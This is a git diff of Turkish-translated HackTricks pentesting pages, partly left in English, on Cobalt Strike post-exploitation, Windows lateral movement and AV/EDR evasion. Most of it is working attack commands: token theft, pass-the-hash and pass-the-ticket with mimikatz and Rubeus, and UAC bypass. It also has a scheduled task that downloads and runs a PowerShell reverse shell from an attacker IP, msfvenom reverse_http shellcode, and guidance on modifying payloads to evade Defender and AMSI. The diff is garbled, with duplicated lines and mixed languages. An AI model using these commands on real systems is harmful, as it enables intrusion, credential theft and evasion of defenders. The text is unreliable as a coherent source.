||||
## Kimlik bilgileri ile token oluşturma
|
||||
make_token [DOMAIN\user] [password] # Ağda bir kullanıcıyı taklit etmek için token oluştur
|
||||
ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalış
|
||||
rev2self # make_token ile oluşturulan token'ı kullanmayı durdur
|
||||
## make_token kullanımı, 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü ile filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, LOGON32_LOGON_NEW_CREDENTIALS kullanır, bu da tür 9'dur.
|
||||
## make_token kullanımı, 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü'ne göre filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, bu, tür 9 olan LOGON32_LOGON_NEW_CREDENTIALS kullanır.
|
||||
|
||||
# UAC Atlatma
|
||||
elevate svc-exe <listener>
|
||||
@ -73,13 +78,13 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
## pid'den token çalma
|
||||
## make_token gibi ama bir süreçten token çalıyor
|
||||
steal_token [pid] # Ayrıca, bu ağ eylemleri için yararlıdır, yerel eylemler için değil
|
||||
## API belgelerinden, bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini biliyoruz". Bu nedenle Beacon çıktısı, Taklit Edilen <current_username> diyor - kendi klonlanmış token'ımızı taklit ediyor.
|
||||
## API belgelerinden, bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle, Beacon çıktısı <current_username> - kendi klonlanmış token'ımızı taklit ediyor.
|
||||
ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalış
|
||||
rev2self # steal_token'dan token kullanmayı durdur
|
||||
|
||||
## Yeni kimlik bilgileri ile süreci başlat
|
||||
spawnas [domain\username] [password] [listener] # Okuma erişimi olan bir dizinden yapın: cd C:\
|
||||
## make_token gibi, bu 4624 olayı oluşturur: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır.
|
||||
## make_token gibi, bu Windows olayı 4624'ü oluşturur: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır.
|
||||
|
||||
## Sürece enjekte et
|
||||
inject [pid] [x64|x86] [listener]
|
||||
@ -92,11 +97,12 @@ pth [DOMAIN\user] [NTLM hash]
|
||||
|
||||
## Mimikatz ile hash'i geç
|
||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||
## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir Masaüstü kullanıcısı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, devam edebilirsiniz)
|
||||
## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir masaüstü kullanıcısı olarak çalışıyorsanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, iyi gidiyorsunuz)
|
||||
steal_token <pid> # Mimikatz tarafından oluşturulan süreçten token çal
|
||||
|
||||
## Bilet geç
|
||||
## Bilet geçişi
|
||||
## Bir bilet talep et
|
||||
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||||
## Yeni bilet ile kullanılacak yeni bir oturum açma oturumu oluştur (ele geçirilen birini üzerine yazmamak için)
|
||||
make_token <domain>\<username> DummyPass
|
||||
@ -104,7 +110,7 @@ make_token <domain>\<username> DummyPass
|
||||
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
|
||||
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
|
||||
|
||||
## SYSTEM'den bileti geç
|
||||
## SYSTEM'den bilet geçişi
|
||||
## Bilet ile yeni bir süreç oluştur
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
|
||||
## O süreçten token çal
|
||||
@ -113,36 +119,36 @@ steal_token <pid>
|
||||
## Bileti çıkar + Bileti geç
|
||||
### Biletleri listele
|
||||
execute-assembly C:\path\Rubeus.exe triage
|
||||
### LUID ile ilginç bileti dök
|
||||
### LUID ile ilginç bir bileti dök
|
||||
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
### Yeni bir oturum açma oturumu oluştur, luid ve processid not edin
|
||||
### Yeni bir oturum açma oturumu oluştur, LUID ve processid'yi not et
|
||||
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
|
||||
### Bileti oluşturulan oturum açma oturumuna ekle
|
||||
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
|
||||
### Son olarak, o yeni süreçten token çal
|
||||
steal_token <pid>
|
||||
|
||||
# Yanal Hareket
|
||||
# Lateral Hareket
|
||||
## Bir token oluşturulduysa kullanılacaktır
|
||||
jump [method] [target] [listener]
|
||||
## Yöntemler:
|
||||
## psexec x86 Bir hizmeti çalıştırmak için bir Hizmet EXE eseri kullan
|
||||
## psexec64 x64 Bir hizmeti çalıştırmak için bir Hizmet EXE eseri kullan
|
||||
## psexec_psh x86 Bir hizmeti çalıştırmak için bir PowerShell one-liner kullan
|
||||
## winrm x86 WinRM aracılığıyla bir PowerShell scripti çalıştır
|
||||
## winrm64 x64 WinRM aracılığıyla bir PowerShell scripti çalıştır
|
||||
## psexec x86 Bir hizmeti çalıştırmak için bir Hizmet EXE nesnesi kullan
|
||||
## psexec64 x64 Bir hizmeti çalıştırmak için bir Hizmet EXE nesnesi kullan
|
||||
## psexec_psh x86 Bir hizmeti çalıştırmak için bir PowerShell one-liner kullan
|
||||
## winrm x86 WinRM üzerinden bir PowerShell scripti çalıştır
|
||||
## winrm64 x64 WinRM üzerinden bir PowerShell scripti çalıştır
|
||||
## wmi_msbuild x64 msbuild inline c# görevi ile wmi lateral hareket (oppsec)
|
||||
|
||||
remote-exec [method] [target] [command]
|
||||
remote-exec [method] [target] [command] # remote-exec çıktı döndürmez
|
||||
## Yöntemler:
|
||||
<strong>## psexec Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır
|
||||
</strong>## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır
|
||||
## wmi WMI aracılığıyla uzaktan çalıştır
|
||||
## psexec Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır
|
||||
## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır
|
||||
## wmi WMI aracılığıyla uzaktan çalıştır
|
||||
|
||||
## WMI ile bir beacon çalıştırmak için (jump komutunda değil) sadece beacon'ı yükleyin ve çalıştırın
|
||||
## WMI ile bir beacon çalıştırmak için (jump komutunda yok) sadece beacon'ı yükleyin ve çalıştırın
|
||||
beacon> upload C:\Payloads\beacon-smb.exe
|
||||
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||
|
||||
|
||||
# Metasploit'e oturum geçişi - Dinleyici aracılığıyla
|
||||
## Metasploit ana bilgisayarında
|
||||
msf6 > use exploit/multi/handler
|
||||
@ -151,23 +157,22 @@ msf6 exploit(multi/handler) > set LHOST eth0
|
||||
msf6 exploit(multi/handler) > set LPORT 8080
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
## Cobalt'ta: Dinleyiciler > Ekle ve Payload'u Yabancı HTTP olarak ayarla. Host'u 10.10.5.120, Port'u 8080 olarak ayarlayın ve Kaydet'e tıklayın.
|
||||
## Cobalt'ta: Dinleyiciler > Ekle ve Yükü Yabancı HTTP olarak ayarlayın. Host'u 10.10.5.120, Port'u 8080 olarak ayarlayın ve Kaydet'e tıklayın.
|
||||
beacon> spawn metasploit
|
||||
## Yalnızca yabancı dinleyici ile x86 Meterpreter oturumları başlatabilirsiniz.
|
||||
|
||||
# Metasploit oturumunu Cobalt Strike'a geçirme - Shellcode enjekte ederek
|
||||
# Metasploit oturumunu Cobalt Strike'a geçirme - Shellcode enjekte etme
|
||||
## Metasploit ana bilgisayarında
|
||||
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||
## msfvenom'u çalıştırın ve multi/handler dinleyicisini hazırlayın
|
||||
|
||||
## Bin dosyasını Cobalt Strike ana bilgisayarına kopyalayın
|
||||
ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin # x64 süreçte metasploit shellcode enjekte et
|
||||
shinject <pid> x64 C:\Payloads\msf.bin # x64 bir süreçte metasploit shellcode enjekte et
|
||||
|
||||
# Metasploit oturumunu Cobalt Strike'a geçirme
|
||||
## Stageless Beacon shellcode oluşturun, Saldırılar > Paketler > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 payload kullanın.
|
||||
## Oluşturulan cobalt strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın.
|
||||
|
||||
## Stageless Beacon shellcode oluşturun, Saldırılar > Paketler > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 yükünü kullanın.
|
||||
## Oluşturulan Cobalt Strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın.
|
||||
|
||||
# Pivoting
|
||||
## Teamserver'da bir socks proxy açın
|
||||
@ -176,50 +181,178 @@ beacon> socks 1080
|
||||
# SSH bağlantısı
|
||||
beacon> ssh 10.10.17.12:22 kullanıcı adı şifre</code></pre>
|
||||
|
||||
## AV'lerden Kaçınma
|
||||
## Opsec
|
||||
|
||||
### Artifact Kit
|
||||
### Execute-Assembly
|
||||
|
||||
Genellikle `/opt/cobaltstrike/artifact-kit` içinde, Cobalt Strike'ın ikili beacon'ları oluşturmak için kullanacağı kod ve önceden derlenmiş şablonları ( `/src-common` içinde) bulabilirsiniz.
|
||||
**`execute-assembly`**, belirtilen programı çalıştırmak için uzaktan süreç enjekte etme kullanarak bir **kurban süreci** kullanır. Bu, belirli Win API'lerin kullanılması nedeniyle çok gürültülüdür ve her EDR bunu kontrol etmektedir. Ancak, aynı süreçte bir şey yüklemek için kullanılabilecek bazı özel araçlar vardır:
|
||||
|
||||
Oluşturulan arka kapı (veya sadece derlenmiş şablon) ile [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanarak, defender'ı tetikleyen şeyi bulabilirsiniz. Genellikle bir dizedir. Bu nedenle, arka kapıyı oluşturan kodu değiştirerek o dizeyi son ikili dosyada görünmeyecek şekilde değiştirebilirsiniz.
|
||||
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
- Cobalt Strike'da BOF (Beacon Object Files) kullanabilirsiniz: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
|
||||
Agressor script `https://github.com/outflanknl/HelpColor`, Cobalt Strike'da `helpx` komutunu oluşturacak ve bu komut, BOF'lar (yeşil), Frok&Run (sarı) ve benzeri olup olmadığını veya Süreç Yürütme, enjekte etme veya benzeri olup olmadığını belirten renkler koyacaktır. Bu, hangi komutların daha gizli olduğunu bilmeye yardımcı olur.
|
||||
|
||||
### Kullanıcı olarak hareket et
|
||||
|
||||
`Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents` gibi olayları kontrol edebilirsiniz:
|
||||
|
||||
- Güvenlik EID 4624 - Alışılmış çalışma saatlerini bilmek için tüm etkileşimli oturum açmaları kontrol edin.
|
||||
- Sistem EID 12,13 - Kapatma/açma/uyku sıklığını kontrol edin.
|
||||
- Güvenlik EID 4624/4625 - Geçerli/geçersiz NTLM denemelerini kontrol edin.
|
||||
- Güvenlik EID 4648 - Bu olay, düz metin kimlik bilgileri kullanılarak oturum açıldığında oluşturulur. Eğer bir süreç bunu oluşturduysa, ikili dosya muhtemelen kimlik bilgilerini düz metin olarak bir yapılandırma dosyasında veya kodun içinde barındırmaktadır.
|
||||
|
||||
Cobalt Strike'dan `jump` kullanırken, yeni sürecin daha meşru görünmesi için `wmi_msbuild` yöntemini kullanmak daha iyidir.
|
||||
|
||||
### Bilgisayar hesaplarını kullanın
|
||||
|
||||
Savunucuların kullanıcılar tarafından üretilen garip davranışları kontrol etmesi yaygındır ve **hizmet hesaplarını ve bilgisayar hesaplarını izlemelerinden hariç tutarlar**. Bu hesapları lateral hareket veya ayrıcalık yükseltme yapmak için kullanabilirsiniz.
|
||||
|
||||
### Stageless yükleri kullanın
|
||||
|
||||
Stageless yükler, ikinci bir aşamayı C2 sunucusundan indirmeleri gerekmediği için staged olanlardan daha az gürültülüdür. Bu, ilk bağlantıdan sonra herhangi bir ağ trafiği oluşturmadıkları anlamına gelir ve bu da ağ tabanlı savunmalar tarafından tespit edilme olasılıklarını azaltır.
|
||||
|
||||
### Token'lar ve Token Deposu
|
||||
|
||||
Token çalarken veya oluştururken dikkatli olun çünkü bir EDR'nin tüm thread'lerin token'larını listelemesi ve **farklı bir kullanıcıya veya hatta SYSTEM'a ait bir token bulması** mümkün olabilir.
|
||||
|
||||
Bu, token'ları **her beacon için** depolamayı sağlar, böylece aynı token'ı tekrar tekrar çalmaya gerek kalmaz. Bu, lateral hareket veya çalınan bir token'ı birden fazla kez kullanmanız gerektiğinde yararlıdır:
|
||||
|
||||
- token-store steal <pid>
|
||||
- token-store steal-and-use <pid>
|
||||
- token-store show
|
||||
- token-store use <id>
|
||||
- token-store remove <id>
|
||||
- token-store remove-all
|
||||
|
||||
Lateral hareket ederken, genellikle **yeni bir token oluşturmak yerine bir token çalmak daha iyidir** veya hash geçişi saldırısı gerçekleştirmek.
|
||||
|
||||
### Guardrails
|
||||
|
||||
Cobalt Strike, savunucular tarafından tespit edilebilecek belirli komutların veya eylemlerin kullanılmasını önlemeye yardımcı olan **Guardrails** adlı bir özelliğe sahiptir. Guardrails, `make_token`, `jump`, `remote-exec` gibi lateral hareket veya ayrıcalık yükseltme için yaygın olarak kullanılan belirli komutları engellemek üzere yapılandırılabilir.
|
||||
|
||||
Ayrıca, [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) deposu, bir yükü çalıştırmadan önce göz önünde bulundurabileceğiniz bazı kontroller ve fikirler içermektedir.
|
||||
|
||||
### Bilet şifrelemesi
|
||||
|
||||
AD'de biletlerin şifrelemesine dikkat edin. Varsayılan olarak, bazı araçlar Kerberos biletleri için RC4 şifrelemesi kullanır, bu da AES şifrelemesinden daha az güvenlidir ve varsayılan olarak güncel ortamlar AES kullanır. Bu, zayıf şifreleme algoritmalarını izleyen savunucular tarafından tespit edilebilir.
|
||||
|
||||
### Varsayılanlardan Kaçının
|
||||
|
||||
Cobalt Strike kullanırken varsayılan olarak SMB boruları `msagent_####` ve `"status_####` adını alacaktır. Bu isimleri değiştirin. Cobalt Strike'dan mevcut boruların isimlerini kontrol etmek için şu komutu kullanabilirsiniz: `ls \\.\pipe\`
|
||||
|
||||
Ayrıca, SSH oturumları ile `\\.\pipe\postex_ssh_####` adında bir boru oluşturulur. Bunu `set ssh_pipename "<new_name>";` ile değiştirin.
|
||||
|
||||
Ayrıca, poext exploitation saldırısında `\\.\pipe\postex_####` boruları `set pipename "<new_name>"` ile değiştirilebilir.
|
||||
|
||||
Cobalt Strike profillerinde ayrıca şunları değiştirebilirsiniz:
|
||||
|
||||
- `rwx` kullanmaktan kaçınmak
|
||||
- Süreç enjekte etme davranışının nasıl çalıştığı (hangi API'lerin kullanılacağı) `process-inject {...}` bloğunda
|
||||
- "fork and run"ın nasıl çalıştığı `post-ex {…}` bloğunda
|
||||
- Uyku süresi
|
||||
- Belleğe yüklenecek ikililerin maksimum boyutu
|
||||
- Bellek ayak izi ve DLL içeriği `stage {...}` bloğunda
|
||||
- Ağ trafiği
|
||||
|
||||
### Bellek taramasını atlatma
|
||||
|
||||
Bazı EDR'ler, bazı bilinen kötü amaçlı yazılım imzalarını taramak için belleği tarar. Cobalt Strike, arka kapıyı bellekte şifreleyebilecek `sleep_mask` fonksiyonunu bir BOF olarak değiştirmeyi sağlar.
|
||||
|
||||
### Gürültülü süreç enjekte etme
|
||||
|
||||
Bir sürece kod enjekte ederken bu genellikle çok gürültülüdür, çünkü **normal bir süreç genellikle bu eylemi gerçekleştirmez ve bunu yapmanın yolları çok sınırlıdır**. Bu nedenle, davranış tabanlı tespit sistemleri tarafından tespit edilebilir. Ayrıca, EDR'ler, **diskte olmayan kod içeren thread'leri tarayarak da tespit edebilir** (ancak tarayıcılar gibi JIT kullanan süreçler bunu genellikle yapar). Örnek: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
|
||||
### Spawnas | PID ve PPID ilişkileri
|
||||
|
||||
Yeni bir süreç başlatırken, tespiti önlemek için **normal bir ebeveyn-çocuk** ilişkisini sürdürmek önemlidir. Eğer svchost.exec iexplorer.exe'yi çalıştırıyorsa, bu şüpheli görünecektir, çünkü svchost.exe normal bir Windows ortamında iexplorer.exe'nin ebeveyni değildir.
|
||||
|
||||
Cobalt Strike'da yeni bir beacon başlatıldığında varsayılan olarak **`rundll32.exe`** kullanan bir süreç oluşturulur. Bu çok gizli değildir ve EDR'ler tarafından kolayca tespit edilebilir. Ayrıca, `rundll32.exe` herhangi bir argüman olmadan çalıştırılır, bu da onu daha da şüpheli hale getirir.
|
||||
|
||||
Aşağıdaki Cobalt Strike komutuyla, yeni beacon'ı başlatmak için farklı bir süreç belirleyebilir, bu da onu daha az tespit edilebilir hale getirir:
|
||||
```bash
|
||||
spawnto x86 svchost.exe
|
||||
```
|
||||
**`spawnto_x86` ve `spawnto_x64`** ayarını bir profilde değiştirebilirsiniz.
|
||||
|
||||
### Saldırganların trafiğini proxyleme
|
||||
|
||||
Saldırganlar bazen araçları yerel olarak çalıştırabilmek için, hatta Linux makinelerinde bile, kurbanların trafiğinin araca ulaşmasını sağlamaları gerekir (örneğin NTLM relay).
|
||||
|
||||
Ayrıca, bazen bir pass-the-hash veya pass-the-ticket saldırısı yapmak için saldırganın **bu hash veya bileti kendi LSASS sürecine** yerel olarak eklemesi ve ardından bunun üzerinden geçiş yapması, bir kurban makinesinin LSASS sürecini değiştirmekten daha gizli olabilir.
|
||||
|
||||
Ancak, **oluşturulan trafikle dikkatli olmalısınız**, çünkü arka kapı sürecinizden alışılmadık bir trafik (kerberos?) gönderiyor olabilirsiniz. Bunun için bir tarayıcı sürecine geçiş yapabilirsiniz (ancak bir sürece kendinizi enjekte ederken yakalanma riski taşıdığınız için bunu gizli bir şekilde yapmayı düşünün).
|
||||
```bash
|
||||
|
||||
### Avoiding AVs
|
||||
|
||||
#### AV/AMSI/ETW Bypass
|
||||
|
||||
Check the page:
|
||||
|
||||
{{#ref}}
|
||||
av-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
#### Artifact Kit
|
||||
|
||||
Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
|
||||
|
||||
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
|
||||
|
||||
After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
|
||||
|
||||
Kodu değiştirdikten sonra, aynı dizinden `./build.sh` komutunu çalıştırın ve `dist-pipe/` klasörünü Windows istemcisinde `C:\Tools\cobaltstrike\ArtifactKit` içine kopyalayın.
|
||||
```
|
||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
Aggressive script `dist-pipe\artifact.cna` dosyasını yüklemeyi unutmayın, böylece Cobalt Strike'ın istediğimiz disk kaynaklarını kullanmasını ve yüklü olanları kullanmamasını belirtebiliriz.
|
||||
|
||||
### Resource Kit
|
||||
Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
|
||||
|
||||
ResourceKit klasörü, Cobalt Strike'ın script tabanlı yükleri için PowerShell, VBA ve HTA dahil olmak üzere şablonları içerir.
|
||||
#### Resource Kit
|
||||
|
||||
The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
|
||||
|
||||
Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
|
||||
|
||||
Şablonlarla birlikte [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) kullanarak, defender'ın (bu durumda AMSI) beğenmediği şeyleri bulabilir ve bunu değiştirebilirsiniz:
|
||||
```
|
||||
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
|
||||
```
|
||||
Tespit edilen satırları değiştirerek yakalanmayacak bir şablon oluşturabilirsiniz.
|
||||
|
||||
Cobalt Strike'a kullanmak istediğimiz kaynakları diskten yüklemesi için `ResourceKit\resources.cna` agresif betiğini yüklemeyi unutmayın, yüklü olanları değil.
|
||||
Modifying the detected lines one can generate a template that won't be caught.
|
||||
|
||||
Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
|
||||
|
||||
#### Function hooks | Syscall
|
||||
|
||||
Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
|
||||
|
||||
This can be set in the profile or suing the command **`syscall-method`**
|
||||
|
||||
However, this could also be noisy.
|
||||
|
||||
Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
|
||||
|
||||
You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
|
||||
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
cd C:\Tools\neo4j\bin
|
||||
neo4j.bat console
|
||||
http://localhost:7474/ --> Change password
|
||||
http://localhost:7474/ --> Şifreyi değiştir
|
||||
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
|
||||
|
||||
|
||||
|
||||
# Change powershell
|
||||
# PowerShell'i değiştir
|
||||
C:\Tools\cobaltstrike\ResourceKit
|
||||
template.x64.ps1
|
||||
# Change $var_code -> $polop
|
||||
# $var_code -> $polop
|
||||
# $x --> $ar
|
||||
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
|
||||
|
||||
#artifact kit
|
||||
cd C:\Tools\cobaltstrike\ArtifactKit
|
||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
@ -10,6 +10,8 @@ Dış sistemlerde komutları çalıştırmanın farklı yolları vardır, burada
|
||||
- [**AtExec / SchtasksExec**](atexec.md)
|
||||
- [**WinRM**](winrm.md)
|
||||
- [**DCOM Exec**](dcom-exec.md)
|
||||
- [**RDPexec**](rdpexec.md)
|
||||
- [**SCMexec**](scmexec.md)
|
||||
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
|
||||
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
|
||||
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Nasıl Çalışır
|
||||
|
||||
At, kullanıcı adı/(şifre/Hash) bildiğiniz hostlarda görevleri planlamanıza olanak tanır. Böylece, diğer hostlarda komutlar çalıştırmak ve çıktıyı almak için bunu kullanabilirsiniz.
|
||||
At, kullanıcı adı/(şifre/Hash) bildiğiniz hostlarda görevleri planlamanıza olanak tanır. Bu nedenle, diğer hostlarda komutlar çalıştırmak ve çıktıyı almak için bunu kullanabilirsiniz.
|
||||
```
|
||||
At \\victim 11:00:00PM shutdown -r
|
||||
```
|
||||
@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
|
||||
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
|
||||
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
|
||||
```
|
||||
**Impacket'in `atexec.py`** dosyasını, AT komutunu kullanarak uzak sistemlerde komutlar çalıştırmak için kullanabilirsiniz. Bu, hedef sistem için geçerli kimlik bilgileri (kullanıcı adı ve şifre veya hash) gerektirir.
|
||||
```bash
|
||||
atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
|
||||
```
|
||||
Ayrıca [SharpLateral](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
|
||||
```bash
|
||||
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
|
||||
```
|
||||
Daha fazla bilgi için [**schtasks'in gümüş biletlerle kullanımı burada**](../active-directory-methodology/silver-ticket.md#host).
|
||||
[SharpMove](https://github.com/0xthirteen/SharpMove) kullanabilirsiniz:
|
||||
```bash
|
||||
SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
|
||||
```
|
||||
Daha fazla bilgi için [**schtasks'in silver ticket'larla kullanımı burada**](../active-directory-methodology/silver-ticket.md#host).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Bu teknik hakkında daha fazla bilgi için orijinal gönderiyi [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) kontrol edin.**
|
||||
**Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) adresindeki orijinal gönderiyi kontrol edin.**
|
||||
|
||||
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, hem DCOM hem de Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar; DCOM için [buradan](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve COM için [buradan](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>) erişilebilir. DCOM uygulamalarının bir listesi PowerShell komutu kullanılarak alınabilir:
|
||||
```bash
|
||||
@ -12,19 +12,19 @@ Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
COM nesnesi, [MMC Uygulama Sınıfı (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC eklenti işlemlerinin betimlenmesini sağlar. Özellikle, bu nesne `Document.ActiveView` altında bir `ExecuteShellCommand` yöntemini içerir. Bu yöntem hakkında daha fazla bilgi [burada](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>) bulunabilir. Çalıştığını kontrol edin:
|
||||
|
||||
Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinde komutların yürütülmesini kolaylaştırır. DCOM ile uzaktan admin olarak etkileşimde bulunmak için PowerShell aşağıdaki gibi kullanılabilir:
|
||||
```powershell
|
||||
Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinden komutların yürütülmesini kolaylaştırır. DCOM ile uzaktan admin olarak etkileşimde bulunmak için PowerShell aşağıdaki gibi kullanılabilir:
|
||||
```bash
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
